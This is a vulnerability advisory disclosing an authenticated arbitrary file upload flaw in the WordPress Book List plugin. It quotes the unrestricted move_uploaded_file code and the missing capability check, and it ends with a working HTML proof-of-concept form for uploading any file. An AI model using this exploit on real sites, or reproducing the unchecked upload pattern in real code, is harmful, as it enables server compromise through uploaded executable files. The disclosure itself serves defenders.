Authenticated Arbitrary File Upload Vulnerability in WordPress Book List
We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated arbitrary file upload vulnerability in WordPress Book List.
The plugin allows users with the “manage_options” capability, which would normally only be Administrators, the ability to access an admin page to upload StylePaks for the plugin.
The uploads are handle through the function wpbooklist_upload_new_stylepak_action_callback(), which is available through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in (in the file /wpbooklist.php):
263 264 | add_action( 'wp_ajax_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' ); add_action( 'wp_ajax_nopriv_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' ); |
The first thing that function does is check for a valid nonce (in the file /includes/ajaxfunctions.php):
2904 2905 2906 2907 | function wpbooklist_upload_new_stylepak_action_callback(){ global $wpdb; check_ajax_referer( 'wpbooklist_upload_new_stylepak_action_callback', 'security' ); |
That value of the nonce is provided through the function wpbooklist_upload_new_stylepak_action_javascript(), which runs when any admin page is loaded:
262 | add_action( 'admin_footer', 'wpbooklist_upload_new_stylepak_action_javascript' ); |
So anyone logged in to WordPress that can access admin pages has access to a valid nonce, despite the user interface for the uploads only being accessible to Administrators.
Returning to the function wpbooklist_upload_new_stylepak_action_callback(), it provides no check to limit what types of users can access it, so as long as someone has access to a valid nonce they can access its functionality. If there is not a POST input “stylepak” then the following line of code will run in the function, which will upload a file without any restriction as to the file type:
2878 | $move_result = move_uploaded_file($_FILES['my_uploaded_file']['tmp_name'], LIBRARY_STYLEPAKS_UPLOAD_DIR."{$_FILES['my_uploaded_file'] ['name']}"); |
We received a response from the developer the same day we contacted them, asking who we were. Several versions of the plugin have been release since then, but the vulnerability has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/wpbooklist/stylepaks/library/.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with a valid nonce, which is value of the security element in the below the element that can be found below the line “‘action’: ‘wpbooklist_upload_new_stylepak_action’,” on any admin page.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="wpbooklist_upload_new_stylepak_action" /> <input type="hidden" name="security" value="[valid nonce]" /> <input type="file" name="my_uploaded_file" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- September 1, 2017 – Developer notified.